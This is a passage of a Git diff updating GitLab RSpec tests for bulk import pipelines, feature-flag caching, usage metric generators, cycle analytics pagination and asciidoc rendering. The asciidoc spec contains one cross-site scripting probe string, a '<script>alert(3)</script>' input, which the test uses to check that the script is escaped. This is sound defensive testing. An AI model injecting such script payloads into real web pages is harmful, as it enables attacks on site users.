context 'when entity is not marked as failed' do
it 'runs pipeline extractor, transformer, loader' do
- extracted_data = BulkImports::Pipeline::ExtractedData.new(data: { foo: :bar })
-
expect_next_instance_of(BulkImports::Extractor) do |extractor|
expect(extractor)
.to receive(:extract)
@@ -132,6 +129,22 @@ RSpec.describe BulkImports::Pipeline::Runner do
subject.run
end
+ context 'when extracted data has multiple pages' do
+ it 'updates tracker information and runs pipeline again' do
+ first_page = extracted_data(has_next_page: true)
+ last_page = extracted_data
+
+ expect_next_instance_of(BulkImports::Extractor) do |extractor|
+ expect(extractor)
+ .to receive(:extract)
+ .with(context)
+ .and_return(first_page, last_page)
+ end
+
+ subject.run
+ end
+ end
+
context 'when exception is raised' do
before do
allow_next_instance_of(BulkImports::Extractor) do |extractor|
@@ -170,12 +183,7 @@ RSpec.describe BulkImports::Pipeline::Runner do
BulkImports::MyPipeline.abort_on_failure!
end
- it 'marks entity as failed' do
- expect { subject.run }
- .to change(entity, :status_name).to(:failed)
- end
-
- it 'logs warn message' do
+ it 'logs a warn message and marks entity as failed' do
expect_next_instance_of(Gitlab::Import::Logger) do |logger|
expect(logger).to receive(:warn)
.with(
@@ -188,6 +196,9 @@ RSpec.describe BulkImports::Pipeline::Runner do
end
subject.run
+
+ expect(entity.status_name).to eq(:failed)
+ expect(tracker.status_name).to eq(:failed)
end
end
@@ -206,11 +217,11 @@ RSpec.describe BulkImports::Pipeline::Runner do
entity.fail_op!
expect_next_instance_of(Gitlab::Import::Logger) do |logger|
- expect(logger).to receive(:info)
+ expect(logger).to receive(:warn)
.with(
log_params(
context,
- message: 'Skipping due to failed pipeline status',
+ message: 'Skipping pipeline due to failed entity',
pipeline_class: 'BulkImports::MyPipeline'
)
)
@@ -219,14 +230,24 @@ RSpec.describe BulkImports::Pipeline::Runner do
subject.run
end
end
- end
- def log_params(context, extra = {})
- {
- bulk_import_id: context.bulk_import.id,
- bulk_import_entity_id: context.entity.id,
- bulk_import_entity_type: context.entity.source_type,
- context_extra: context.extra
- }.merge(extra)
+ def log_params(context, extra = {})
+ {
+ bulk_import_id: context.bulk_import.id,
+ bulk_import_entity_id: context.entity.id,
+ bulk_import_entity_type: context.entity.source_type,
+ context_extra: context.extra
+ }.merge(extra)
+ end
+
+ def extracted_data(has_next_page: false)
+ BulkImports::Pipeline::ExtractedData.new(
+ data: { foo: :bar },
+ page_info: {
+ 'has_next_page' => has_next_page,
+ 'next_page' => has_next_page ? 'cursor' : nil
+ }
+ )
+ end
end
end
diff --git a/spec/lib/bulk_imports/pipeline_spec.rb b/spec/lib/bulk_imports/pipeline_spec.rb
index c882e3d26ea..dda2e41f06c 100644
--- a/spec/lib/bulk_imports/pipeline_spec.rb
+++ b/spec/lib/bulk_imports/pipeline_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe BulkImports::Pipeline do
+ let(:context) { instance_double(BulkImports::Pipeline::Context, tracker: nil) }
+
before do
stub_const('BulkImports::Extractor', Class.new)
stub_const('BulkImports::Transformer', Class.new)
@@ -44,7 +46,7 @@ RSpec.describe BulkImports::Pipeline do
end
it 'returns itself when retrieving extractor & loader' do
- pipeline = BulkImports::AnotherPipeline.new(nil)
+ pipeline = BulkImports::AnotherPipeline.new(context)
expect(pipeline.send(:extractor)).to eq(pipeline)
expect(pipeline.send(:loader)).to eq(pipeline)
@@ -83,7 +85,7 @@ RSpec.describe BulkImports::Pipeline do
expect(BulkImports::Transformer).to receive(:new).with(foo: :bar)
expect(BulkImports::Loader).to receive(:new).with(foo: :bar)
- pipeline = BulkImports::MyPipeline.new(nil)
+ pipeline = BulkImports::MyPipeline.new(context)
pipeline.send(:extractor)
pipeline.send(:transformers)
@@ -109,7 +111,7 @@ RSpec.describe BulkImports::Pipeline do
expect(BulkImports::Transformer).to receive(:new).with(no_args)
expect(BulkImports::Loader).to receive(:new).with(no_args)
- pipeline = BulkImports::NoOptionsPipeline.new(nil)
+ pipeline = BulkImports::NoOptionsPipeline.new(context)
pipeline.send(:extractor)
pipeline.send(:transformers)
@@ -135,7 +137,7 @@ RSpec.describe BulkImports::Pipeline do
transformer = double
allow(BulkImports::Transformer).to receive(:new).and_return(transformer)
- pipeline = BulkImports::TransformersPipeline.new(nil)
+ pipeline = BulkImports::TransformersPipeline.new(context)
expect(pipeline.send(:transformers)).to eq([pipeline, transformer])
end
diff --git a/spec/lib/constraints/admin_constrainer_spec.rb b/spec/lib/constraints/admin_constrainer_spec.rb
index ac6ad31120e..6e8909ca129 100644
--- a/spec/lib/constraints/admin_constrainer_spec.rb
+++ b/spec/lib/constraints/admin_constrainer_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe Constraints::AdminConstrainer do
end
describe '#matches' do
- context 'feature flag :user_mode_in_session is enabled' do
+ context 'application setting :admin_mode is enabled' do
context 'when user is a regular user' do
it 'forbids access' do
expect(subject.matches?(request)).to be(false)
@@ -46,9 +46,9 @@ RSpec.describe Constraints::AdminConstrainer do
end
end
- context 'feature flag :user_mode_in_session is disabled' do
+ context 'application setting :admin_mode is disabled' do
before do
- stub_feature_flags(user_mode_in_session: false)
+ stub_application_setting(admin_mode: false)
end
context 'when user is a regular user' do
diff --git a/spec/lib/feature_spec.rb b/spec/lib/feature_spec.rb
index 3e158391d7f..dc8fd0de313 100644
--- a/spec/lib/feature_spec.rb
+++ b/spec/lib/feature_spec.rb
@@ -487,6 +487,98 @@ RSpec.describe Feature, stub_feature_flags: false do
end
end
+ context 'caching with stale reads from the database', :use_clean_rails_redis_caching, :request_store, :aggregate_failures do
+ let(:actor) { stub_feature_flag_gate('CustomActor:5') }
+ let(:another_actor) { stub_feature_flag_gate('CustomActor:10') }
+
+ # This is a bit unpleasant. For these tests we want to simulate stale reads
+ # from the database (due to database load balancing). A simple way to do
+ # that is to stub the response on the adapter Flipper uses for reading from
+ # the database. However, there isn't a convenient API for this. We know that
+ # the ActiveRecord adapter is always at the 'bottom' of the chain, so we can
+ # find it that way.
+ let(:active_record_adapter) do
+ adapter = described_class.flipper
+
+ loop do
+ break adapter unless adapter.instance_variable_get(:@adapter)
+
+ adapter = adapter.instance_variable_get(:@adapter)
+ end
+ end
+
+ it 'gives the correct value when enabling for an additional actor' do
+ described_class.enable(:enabled_feature_flag, actor)
+ initial_gate_values = active_record_adapter.get(described_class.get(:enabled_feature_flag))
+
+ # This should only be enabled for `actor`
+ expect(described_class.enabled?(:enabled_feature_flag, actor)).to be(true)
+ expect(described_class.enabled?(:enabled_feature_flag, another_actor)).to be(false)
+ expect(described_class.enabled?(:enabled_feature_flag)).to be(false)
+
+ # Enable for `another_actor` and simulate a stale read
+ described_class.enable(:enabled_feature_flag, another_actor)
+ allow(active_record_adapter).to receive(:get).once.and_return(initial_gate_values)
+
+ # Should read from the cache and be enabled for both of these actors
+ expect(described_class.enabled?(:enabled_feature_flag, actor)).to be(true)
+ expect(described_class.enabled?(:enabled_feature_flag, another_actor)).to be(true)
+ expect(described_class.enabled?(:enabled_feature_flag)).to be(false)
+ end
+
+ it 'gives the correct value when enabling for percentage of time' do
+ described_class.enable_percentage_of_time(:enabled_feature_flag, 10)
+ initial_gate_values = active_record_adapter.get(described_class.get(:enabled_feature_flag))
+
+ # Test against `gate_values` directly as otherwise it would be non-determistic
+ expect(described_class.get(:enabled_feature_flag).gate_values.percentage_of_time).to eq(10)
+
+ # Enable 50% of time and simulate a stale read
+ described_class.enable_percentage_of_time(:enabled_feature_flag, 50)
+ allow(active_record_adapter).to receive(:get).once.and_return(initial_gate_values)
+
+ # Should read from the cache and be enabled 50% of the time
+ expect(described_class.get(:enabled_feature_flag).gate_values.percentage_of_time).to eq(50)
+ end
+
+ it 'gives the correct value when disabling the flag' do
+ described_class.enable(:enabled_feature_flag, actor)
+ described_class.enable(:enabled_feature_flag, another_actor)
+ initial_gate_values = active_record_adapter.get(described_class.get(:enabled_feature_flag))
+
+ # This be enabled for `actor` and `another_actor`
+ expect(described_class.enabled?(:enabled_feature_flag, actor)).to be(true)
+ expect(described_class.enabled?(:enabled_feature_flag, another_actor)).to be(true)
+ expect(described_class.enabled?(:enabled_feature_flag)).to be(false)
+
+ # Disable for `another_actor` and simulate a stale read
+ described_class.disable(:enabled_feature_flag, another_actor)
+ allow(active_record_adapter).to receive(:get).once.and_return(initial_gate_values)
+
+ # Should read from the cache and be enabled only for `actor`
+ expect(described_class.enabled?(:enabled_feature_flag, actor)).to be(true)
+ expect(described_class.enabled?(:enabled_feature_flag, another_actor)).to be(false)
+ expect(described_class.enabled?(:enabled_feature_flag)).to be(false)
+ end
+
+ it 'gives the correct value when deleting the flag' do
+ described_class.enable(:enabled_feature_flag, actor)
+ initial_gate_values = active_record_adapter.get(described_class.get(:enabled_feature_flag))
+
+ # This should only be enabled for `actor`
+ expect(described_class.enabled?(:enabled_feature_flag, actor)).to be(true)
+ expect(described_class.enabled?(:enabled_feature_flag)).to be(false)
+
+ # Remove and simulate a stale read
+ described_class.remove(:enabled_feature_flag)
+ allow(active_record_adapter).to receive(:get).once.and_return(initial_gate_values)
+
+ # Should read from the cache and be disabled everywhere
+ expect(described_class.enabled?(:enabled_feature_flag, actor)).to be(false)
+ expect(described_class.enabled?(:enabled_feature_flag)).to be(false)
+ end
+ end
+
describe Feature::Target do
describe '#targets' do
let(:project) { create(:project) }
diff --git a/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb b/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb
new file mode 100644
index 00000000000..021fb8f5f58
--- /dev/null
+++ b/spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'generator_helper'
+
+RSpec.describe Gitlab::UsageMetricDefinition::RedisHllGenerator do
+ include UsageDataHelpers
+
+ let(:category) { 'test_category' }
+ let(:event) { 'i_test_event' }
+ let(:args) { [category, event] }
+ let(:temp_dir) { Dir.mktmpdir }
+
+ # Interpolating to preload the class
+ # See https://github.com/rspec/rspec-mocks/issues/1079
+ before do
+ stub_const("#{Gitlab::UsageMetricDefinitionGenerator}::TOP_LEVEL_DIR", temp_dir)
+ # Stub Prometheus requests from Gitlab::Utils::UsageData
+ stub_prometheus_queries
+ end
+
+ it 'creates metric definition files' do
+ described_class.new(args).invoke_all
+
+ weekly_metric_definition_path = Dir.glob(File.join(temp_dir, 'metrics/counts_7d/*i_test_event_weekly.yml')).first
+ monthly_metric_definition_path = Dir.glob(File.join(temp_dir, 'metrics/counts_28d/*i_test_event_monthly.yml')).first
+
+ expect(YAML.safe_load(File.read(weekly_metric_definition_path))).to include("key_path" => "redis_hll_counters.test_category.i_test_event_weekly")
+ expect(YAML.safe_load(File.read(monthly_metric_definition_path))).to include("key_path" => "redis_hll_counters.test_category.i_test_event_monthly")
+ end
+end
diff --git a/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb b/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb
index b62eac14e3e..f8c055ae111 100644
--- a/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb
+++ b/spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb
@@ -3,10 +3,42 @@
require 'generator_helper'
RSpec.describe Gitlab::UsageMetricDefinitionGenerator do
+ include UsageDataHelpers
+
+ let(:key_path) { 'counts_weekly.test_metric' }
+ let(:dir) { '7d' }
+ let(:temp_dir) { Dir.mktmpdir }
+
+ before do
+ stub_const("#{described_class}::TOP_LEVEL_DIR", temp_dir)
+ # Stub Prometheus requests from Gitlab::Utils::UsageData
+ stub_prometheus_queries
+ end
+
+ after do
+ FileUtils.rm_rf(temp_dir)
+ end
+
+ describe 'Creating metric definition file' do
+ # Stub version so that `milestone` key remains constant between releases to prevent flakiness.
+ before do
+ stub_const('Gitlab::VERSION', '13.9.0')
+ allow(::Gitlab::Usage::Metrics::NamesSuggestions::Generator).to receive(:generate).and_return('test metric name')
+ end
+
+ let(:sample_metric) { load_sample_metric_definition(filename: 'sample_metric_with_name_suggestions.yml') }
+
+ it 'creates a metric definition file using the template' do
+ described_class.new([key_path], { 'dir' => dir }).invoke_all
+
+ metric_definition_path = Dir.glob(File.join(temp_dir, 'metrics/counts_7d/*_test_metric.yml')).first
+
+ expect(YAML.safe_load(File.read(metric_definition_path))).to eq(sample_metric)
+ end
+ end
+
describe 'Validation' do
- let(:key_path) { 'counter.category.event' }
- let(:dir) { '7d' }
- let(:options) { [key_path, '--dir', dir, '--pretend'] }
+ let(:options) { [key_path, '--dir', dir] }
subject { described_class.start(options) }
@@ -42,34 +74,12 @@ RSpec.describe Gitlab::UsageMetricDefinitionGenerator do
end
describe 'Name suggestions' do
- let(:temp_dir) { Dir.mktmpdir }
-
- before do
- stub_const("#{described_class}::TOP_LEVEL_DIR", temp_dir)
- end
-
- context 'with product_intelligence_metrics_names_suggestions feature ON' do
- it 'adds name key to metric definition' do
- stub_feature_flags(product_intelligence_metrics_names_suggestions: true)
-
- expect(::Gitlab::Usage::Metrics::NamesSuggestions::Generator).to receive(:generate).and_return('some name')
- described_class.new(['counts_weekly.test_metric'], { 'dir' => '7d' }).invoke_all
- metric_definition_path = Dir.glob(File.join(temp_dir, 'metrics/counts_7d/*_test_metric.yml')).first
+ it 'adds name key to metric definition' do
+ expect(::Gitlab::Usage::Metrics::NamesSuggestions::Generator).to receive(:generate).and_return('some name')
+ described_class.new([key_path], { 'dir' => dir }).invoke_all
+ metric_definition_path = Dir.glob(File.join(temp_dir, 'metrics/counts_7d/*_test_metric.yml')).first
- expect(YAML.safe_load(File.read(metric_definition_path))).to include("name" => "some name")
- end
- end
-
- context 'with product_intelligence_metrics_names_suggestions feature OFF' do
- it 'adds name key to metric definition' do
- stub_feature_flags(product_intelligence_metrics_names_suggestions: false)
-
- expect(::Gitlab::Usage::Metrics::NamesSuggestions::Generator).not_to receive(:generate)
- described_class.new(['counts_weekly.test_metric'], { 'dir' => '7d' }).invoke_all
- metric_definition_path = Dir.glob(File.join(temp_dir, 'metrics/counts_7d/*_test_metric.yml')).first
-
- expect(YAML.safe_load(File.read(metric_definition_path)).keys).not_to include(:name)
- end
+ expect(YAML.safe_load(File.read(metric_definition_path))).to include("name" => "some name")
end
end
end
diff --git a/spec/lib/gitlab/alert_management/alert_status_counts_spec.rb b/spec/lib/gitlab/alert_management/alert_status_counts_spec.rb
index fceda763717..1ed43145aa6 100644
--- a/spec/lib/gitlab/alert_management/alert_status_counts_spec.rb
+++ b/spec/lib/gitlab/alert_management/alert_status_counts_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Gitlab::AlertManagement::AlertStatusCounts do
let_it_be(:alert_resolved) { create(:alert_management_alert, :resolved, project: project) }
let_it_be(:alert_ignored) { create(:alert_management_alert, :ignored, project: project) }
let_it_be(:alert_triggered) { create(:alert_management_alert) }
+
let(:params) { {} }
describe '#execute' do
diff --git a/spec/lib/gitlab/alert_management/payload/base_spec.rb b/spec/lib/gitlab/alert_management/payload/base_spec.rb
index 0c26e94e596..e093b3587c2 100644
--- a/spec/lib/gitlab/alert_management/payload/base_spec.rb
+++ b/spec/lib/gitlab/alert_management/payload/base_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::AlertManagement::Payload::Base do
let_it_be(:project) { create(:project) }
+
let(:raw_payload) { {} }
let(:payload_class) { described_class }
diff --git a/spec/lib/gitlab/alert_management/payload/generic_spec.rb b/spec/lib/gitlab/alert_management/payload/generic_spec.rb
index b0c238c62c8..59933f7459d 100644
--- a/spec/lib/gitlab/alert_management/payload/generic_spec.rb
+++ b/spec/lib/gitlab/alert_management/payload/generic_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::AlertManagement::Payload::Generic do
let_it_be(:project) { build_stubbed(:project) }
+
let(:raw_payload) { {} }
let(:parsed_payload) { described_class.new(project: project, payload: raw_payload) }
diff --git a/spec/lib/gitlab/alert_management/payload/managed_prometheus_spec.rb b/spec/lib/gitlab/alert_management/payload/managed_prometheus_spec.rb
index 862b5b2bdc3..fa8afd47c53 100644
--- a/spec/lib/gitlab/alert_management/payload/managed_prometheus_spec.rb
+++ b/spec/lib/gitlab/alert_management/payload/managed_prometheus_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::AlertManagement::Payload::ManagedPrometheus do
let_it_be(:project) { create(:project) }
+
let(:raw_payload) { {} }
let(:parsed_payload) { described_class.new(project: project, payload: raw_payload) }
@@ -136,6 +137,7 @@ RSpec.describe Gitlab::AlertManagement::Payload::ManagedPrometheus do
context 'with sufficient fallback info' do
let_it_be(:environment) { create(:environment, project: project, name: 'production') }
+
let(:raw_payload) do
{
'labels' => {
diff --git a/spec/lib/gitlab/alert_management/payload/prometheus_spec.rb b/spec/lib/gitlab/alert_management/payload/prometheus_spec.rb
index f574f5ba6a3..6a4f35c01e3 100644
--- a/spec/lib/gitlab/alert_management/payload/prometheus_spec.rb
+++ b/spec/lib/gitlab/alert_management/payload/prometheus_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::AlertManagement::Payload::Prometheus do
let_it_be(:project) { create(:project) }
+
let(:raw_payload) { {} }
let(:parsed_payload) { described_class.new(project: project, payload: raw_payload) }
diff --git a/spec/lib/gitlab/alert_management/payload_spec.rb b/spec/lib/gitlab/alert_management/payload_spec.rb
index 7c129a8a48e..efde7ed3772 100644
--- a/spec/lib/gitlab/alert_management/payload_spec.rb
+++ b/spec/lib/gitlab/alert_management/payload_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::AlertManagement::Payload do
describe '#parse' do
let_it_be(:project) { build_stubbed(:project) }
+
let(:payload) { {} }
context 'without a monitoring_tool specified by caller' do
diff --git a/spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb b/spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb
index 80d3f82b404..0a333965f68 100644
--- a/spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb
+++ b/spec/lib/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Gitlab::Analytics::CycleAnalytics::BaseQueryBuilder do
let_it_be(:mr1) { create(:merge_request, target_project: project, source_project: project, allow_broken: true, created_at: 3.months.ago) }
let_it_be(:mr2) { create(:merge_request, target_project: project, source_project: project, allow_broken: true, created_at: 1.month.ago) }
let_it_be(:user) { create(:user) }
+
let(:params) { { current_user: user } }
let(:records) do
stage = build(:cycle_analytics_project_stage, {
diff --git a/spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb b/spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb
index c1ea000eb7b..14768025932 100644
--- a/spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb
+++ b/spec/lib/gitlab/analytics/cycle_analytics/median_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Analytics::CycleAnalytics::Median do
let_it_be(:project) { create(:project, :repository) }
+
let(:query) { Project.joins(merge_requests: :metrics) }
let(:stage) do
diff --git a/spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb b/spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb
index b8f9dde4291..ebc5ae2a632 100644
--- a/spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb
+++ b/spec/lib/gitlab/analytics/cycle_analytics/records_fetcher_spec.rb
@@ -7,16 +7,15 @@ RSpec.describe Gitlab::Analytics::CycleAnalytics::RecordsFetcher do
Timecop.freeze { example.run }
end
+ let(:params) { { from: 1.year.ago, current_user: user } }
+
let_it_be(:project) { create(:project, :empty_repo) }
let_it_be(:user) { create(:user) }
subject do
Gitlab::Analytics::CycleAnalytics::DataCollector.new(
stage: stage,
- params: {
- from: 1.year.ago,
- current_user: user
- }
+ params: params
).records_fetcher.serialized_records
end
@@ -34,6 +33,7 @@ RSpec.describe Gitlab::Analytics::CycleAnalytics::RecordsFetcher do
describe 'for issue based stage' do
let_it_be(:issue1) { create(:issue, project: project) }
let_it_be(:issue2) { create(:issue, project: project, confidential: true) }
+
let(:stage) do
build(:cycle_analytics_project_stage, {
start_event_identifier: :plan_stage_start,
@@ -130,4 +130,40 @@ RSpec.describe Gitlab::Analytics::CycleAnalytics::RecordsFetcher do
end
end
end
+
+ describe 'pagination' do
+ let_it_be(:issue1) { create(:issue, project: project) }
+ let_it_be(:issue2) { create(:issue, project: project) }
+ let_it_be(:issue3) { create(:issue, project: project) }
+
+ let(:stage) do
+ build(:cycle_analytics_project_stage, {
+ start_event_identifier: :plan_stage_start,
+ end_event_identifier: :issue_first_mentioned_in_commit,
+ project: project
+ })
+ end
+
+ before(:all) do
+ issue1.metrics.update(first_added_to_board_at: 3.days.ago, first_mentioned_in_commit_at: 2.days.ago)
+ issue2.metrics.update(first_added_to_board_at: 3.days.ago, first_mentioned_in_commit_at: 2.days.ago)
+ issue3.metrics.update(first_added_to_board_at: 3.days.ago, first_mentioned_in_commit_at: 2.days.ago)
+ end
+
+ before do
+ project.add_user(user, Gitlab::Access::DEVELOPER)
+
+ stub_const('Gitlab::Analytics::CycleAnalytics::RecordsFetcher::MAX_RECORDS', 2)
+ end
+
+ it 'limits the results' do
+ expect(subject.size).to eq(2)
+ end
+
+ it 'loads the record for the next page' do
+ params[:page] = 2
+
+ expect(subject.size).to eq(1)
+ end
+ end
end
diff --git a/spec/lib/gitlab/analytics/cycle_analytics/stage_events/code_stage_start_spec.rb b/spec/lib/gitlab/analytics/cycle_analytics/stage_events/code_stage_start_spec.rb
index 52e9f2d9846..b6f9c8106c9 100644
--- a/spec/lib/gitlab/analytics/cycle_analytics/stage_events/code_stage_start_spec.rb
+++ b/spec/lib/gitlab/analytics/cycle_analytics/stage_events/code_stage_start_spec.rb
@@ -15,7 +15,7 @@ RSpec.describe Gitlab::Analytics::CycleAnalytics::StageEvents::CodeStageStart do
other_merge_request = create(:merge_request, source_project: project, source_branch: 'a', target_branch: 'master')
- records = subject.apply_query_customization(MergeRequest.all).where('merge_requests_closing_issues.issue_id IS NOT NULL')
+ records = subject.apply_query_customization(MergeRequest.all).where.not('merge_requests_closing_issues.issue_id' => nil)
expect(records).to eq([merge_request])
expect(records).not_to include(other_merge_request)
end
diff --git a/spec/lib/gitlab/analytics/unique_visits_spec.rb b/spec/lib/gitlab/analytics/unique_visits_spec.rb
index 6ac58e13f4c..f4d5c0b1eca 100644
--- a/spec/lib/gitlab/analytics/unique_visits_spec.rb
+++ b/spec/lib/gitlab/analytics/unique_visits_spec.rb
@@ -24,18 +24,18 @@ RSpec.describe Gitlab::Analytics::UniqueVisits, :clean_gitlab_redis_shared_state
describe '#track_visit' do
it 'tracks the unique weekly visits for targets' do
- unique_visits.track_visit(visitor1_id, target1_id, 7.days.ago)
- unique_visits.track_visit(visitor1_id, target1_id, 7.days.ago)
- unique_visits.track_visit(visitor2_id, target1_id, 7.days.ago)
+ unique_visits.track_visit(target1_id, values: visitor1_id, time: 7.days.ago)
+ unique_visits.track_visit(target1_id, values: visitor1_id, time: 7.days.ago)
+ unique_visits.track_visit(target1_id, values: visitor2_id, time: 7.days.ago)
- unique_visits.track_visit(visitor2_id, target2_id, 7.days.ago)
- unique_visits.track_visit(visitor1_id, target2_id, 8.days.ago)
- unique_visits.track_visit(visitor1_id, target2_id, 15.days.ago)
+ unique_visits.track_visit(target2_id, values: visitor2_id, time: 7.days.ago)
+ unique_visits.track_visit(target2_id, values: visitor1_id, time: 8.days.ago)
+ unique_visits.track_visit(target2_id, values: visitor1_id, time: 15.days.ago)
- unique_visits.track_visit(visitor3_id, target4_id, 7.days.ago)
+ unique_visits.track_visit(target4_id, values: visitor3_id, time: 7.days.ago)
- unique_visits.track_visit(visitor3_id, target5_id, 15.days.ago)
- unique_visits.track_visit(visitor2_id, target5_id, 15.days.ago)
+ unique_visits.track_visit(target5_id, values: visitor3_id, time: 15.days.ago)
+ unique_visits.track_visit(target5_id, values: visitor2_id, time: 15.days.ago)
expect(unique_visits.unique_visits_for(targets: target1_id)).to eq(2)
expect(unique_visits.unique_visits_for(targets: target2_id)).to eq(1)
@@ -61,7 +61,7 @@ RSpec.describe Gitlab::Analytics::UniqueVisits, :clean_gitlab_redis_shared_state
end
it 'sets the keys in Redis to expire automatically after 12 weeks' do
- unique_visits.track_visit(visitor1_id, target1_id)
+ unique_visits.track_visit(target1_id, values: visitor1_id)
Gitlab::Redis::SharedState.with do |redis|
redis.scan_each(match: "{#{target1_id}}-*").each do |key|
@@ -74,7 +74,7 @@ RSpec.describe Gitlab::Analytics::UniqueVisits, :clean_gitlab_redis_shared_state
invalid_target_id = "x_invalid"
expect do
- unique_visits.track_visit(visitor1_id, invalid_target_id)
+ unique_visits.track_visit(invalid_target_id, values: visitor1_id)
end.to raise_error(Gitlab::UsageDataCounters::HLLRedisCounter::UnknownEvent)
end
end
diff --git a/spec/lib/gitlab/application_context_spec.rb b/spec/lib/gitlab/application_context_spec.rb
index 0fbbc67ef6a..c4fe2ebaba9 100644
--- a/spec/lib/gitlab/application_context_spec.rb
+++ b/spec/lib/gitlab/application_context_spec.rb
@@ -27,6 +27,20 @@ RSpec.describe Gitlab::ApplicationContext do
end
end
+ describe '.with_raw_context' do
+ it 'yields the block' do
+ expect { |b| described_class.with_raw_context({}, &b) }.to yield_control
+ end
+
+ it 'passes the attributes unaltered on to labkit' do
+ attrs = { foo: :bar }
+
+ expect(Labkit::Context).to receive(:with_context).with(attrs)
+
+ described_class.with_raw_context(attrs) {}
+ end
+ end
+
describe '.push' do
it 'passes the expected context on to labkit' do
fake_proc = duck_type(:call)
@@ -138,7 +152,7 @@ RSpec.describe Gitlab::ApplicationContext do
it 'does not cause queries' do
context = described_class.new(project: create(:project), namespace: create(:group, :nested), user: create(:user))
- expect { context.use { Labkit::Context.current.to_h } }.not_to exceed_query_limit(0)
+ expect { context.use { Gitlab::ApplicationContext.current } }.not_to exceed_query_limit(0)
end
end
end
diff --git a/spec/lib/gitlab/asciidoc_spec.rb b/spec/lib/gitlab/asciidoc_spec.rb
index 3eb015a5a22..f3799c58fed 100644
--- a/spec/lib/gitlab/asciidoc_spec.rb
+++ b/spec/lib/gitlab/asciidoc_spec.rb
@@ -83,7 +83,7 @@ module Gitlab
},
'fenced code with inline script' => {
input: '```mypre"><script>alert(3)</script>',
- output: "<div>\n<div>\n<pre class=\"code highlight js-syntax-highlight plaintext\" lang=\"plaintext\" v-pre=\"true\"><code><span id=\"LC1\" class=\"line\" lang=\"plaintext\">\"&gt;</span></code></pre>\n</div>\n</div>"
+ output: "<div>\n<div>\n<pre class=\"code highlight js-syntax-highlight language-plaintext\" lang=\"plaintext\" v-pre=\"true\"><code><span id=\"LC1\" class=\"line\" lang=\"plaintext\">\"&gt;</span></code></pre>\n</div>\n</div>"
}
}
@@ -353,7 +353,7 @@ module Gitlab
output = <<~HTML
<div>
<div>
- <pre class="code highlight js-syntax-highlight javascript" lang="javascript" v-pre="true"><code><span id="LC1" class="line" lang="javascript"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">hello world</span><span class="dl">'</span><span class="p">)</span></span></code></pre>
+ <pre class="code highlight js-syntax-highlight language-javascript" lang="javascript" v-pre="true"><code><span id="LC1" class="line" lang="javascript"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">hello world</span><span class="dl">'</span><span class="p">)</span></span></code></pre>
</div>
</div>
HTML
@@ -380,7 +380,7 @@ module Gitlab
<div>
<div>class.cpp</div>
<div>
- <pre class="code highlight js-syntax-highlight cpp" lang="cpp" v-pre="true"><code><span id="LC1" class="line" lang="cpp"><span class="cp">#include &lt;stdio.h&gt;</span></span>
+ <pre class="code highlight js-syntax-highlight language-cpp" lang="cpp" v-pre="true"><code><span id="LC1" class="line" lang="cpp"><span class="cp">#include &lt;stdio.h&gt;</span></span>
<span id="LC2" class="line" lang="cpp"></span>
<span id="LC3" class="line" lang="cpp"><span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span></span>
<span id="LC4" class="line" lang="cpp"> <span class="n">std</span><span class="o">::</span><span class="n">cout</span><span class="o">&lt;&lt;</span><span class="s">"*"</span><span class="o">&lt;&lt;</span><span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span></span>
diff --git a/spec/lib/gitlab/auth/o_auth/auth_hash_spec.rb b/spec/lib/gitlab/auth/o_auth/auth_hash_spec.rb
index 67ffdee0c4a..69068883096 100644
--- a/spec/lib/gitlab/auth/o_auth/auth_hash_spec.rb
+++ b/spec/lib/gitlab/auth/o_auth/auth_hash_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::Auth::OAuth::AuthHash do
- let(:provider) { 'ldap'.freeze }
+ let(:provider) { 'ldap' }
let(:auth_hash) do
described_class.new(
OmniAuth::AuthHash.new(
diff --git a/spec/lib/gitlab/auth/otp/strategies/devise_spec.rb b/spec/lib/gitlab/auth/otp/strategies/devise_spec.rb
index 0c88421d456..e51705bdb9c 100644
--- a/spec/lib/gitlab/auth/otp/strategies/devise_spec.rb
+++ b/spec/lib/gitlab/auth/otp/strategies/devise_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Auth::Otp::Strategies::Devise do
let_it_be(:user) { create(:user) }
+
let(:otp_code) { 42 }
